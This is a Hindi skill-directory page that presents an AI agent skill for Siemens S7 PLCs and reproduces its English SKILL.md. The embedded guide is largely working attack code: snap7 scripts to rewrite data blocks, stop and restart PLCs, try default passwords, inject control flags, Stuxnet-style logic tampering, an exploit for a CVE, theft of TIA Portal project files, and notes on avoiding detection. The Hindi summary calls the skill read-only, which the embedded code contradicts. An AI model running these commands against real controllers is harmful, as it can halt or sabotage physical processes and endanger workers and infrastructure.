ics-s7comm
यह क्या करती है
यह गाइड Siemens S7 कंट्रोलर के सुरक्षा जाँचों को कवर करती है, जो फ़ैक्ट्रियों और इंफ़्रास्ट्रक्चर में आम हैं। यह लिखित मंज़ूरी वाली प्लांट सुरक्षा टीमों के लिए है, क्योंकि रोकने और लिखने की कमांड उपकरण बंद कर सकती हैं।
कब इस्तेमाल करें
- ✓जब अधिकृत समीक्षा को Siemens S7 कंट्रोलर और उनका firmware पहचानना हो।
- ✓जब जाँचना हो कि कोई Siemens PLC कितनी मज़बूती से सुरक्षित है।
- ✓जब प्लांट को अपने कंट्रोलर मेमोरी लेआउट की केवल-पढ़ने वाली सूची चाहिए।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप हमारे Siemens S7 कंट्रोलर पहचान सकते हैं और बता सकते हैं कि हर एक कितनी अच्छी तरह सुरक्षित है, बिना कुछ बदले?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट केवल-पढ़ने वाले मोड में जुड़ता है, कंट्रोलर की पहचान और सुरक्षा स्तर पढ़ता है, और नतीजे रिपोर्ट करता है। रोकने, शुरू करने या लिखने की कमांड नहीं भेजी जातीं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Siemens S7 PLC Attack
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
Discover
nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name
# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
Read / Write data blocks
S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
Stop / Start the PLC
c.plc_stop() # ⚠ halts execution of the user program — process stops
c.plc_hot_start() # Resume
c.plc_cold_start() # Restart with full init
# Each is unauthenticated on S7-300/400 by default.
Authentication / "Protection Level" differences
| PLC family | Default protection | Bypass class |
|---|---|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name
Stuxnet-class primitives (S7-300/400 still in many old fleets)
- Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
- OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF])) # write to DB1 byte 0
CVE-2019-10936 — info leak on S7-1200/1500
Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):
# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50
TIA Portal interaction
If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:
- Steal the project file (
.ap16) — contains every PLC's logic, comments, possibly password hashes - Replace the project being deployed to inject persistent logic changes
- Default TIA Portal SQL — port 1433 with default sa / no password on older installs
OPSEC + safety
- Physical safety:
plc_stop()halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing. - Read-only enumeration is generally safe and silent. S7 has no audit log.
- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
- Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.
References
- snap7 docs — snap7.sourceforge.net
- "The S7Comm protocol" — Wireshark dissector docs
- ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
- "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)
अक्सर पूछे जाने वाले सवाल
सुरक्षा स्तर क्यों मायने रखता है?
गाइड कहती है कि पुराने और नए S7 परिवारों में सुरक्षा सेटिंग अलग होती हैं, जिससे कंट्रोलर कितना उजागर है यह बदलता है।
रोकने की कमांड क्या कर सकती है?
यह कंट्रोलर का प्रोग्राम रोक देती है, जिससे वह प्रक्रिया रुक सकती है जिसे वह नियंत्रित करता है।
कौन-से PLC परिवार कवर हैं?
गाइड S7-300, S7-400, S7-1200 और S7-1500 कंट्रोलर कवर करती है।
जानकारी
लेखक का मूल विवरण
Siemens S7 PLC attack — TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14041
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।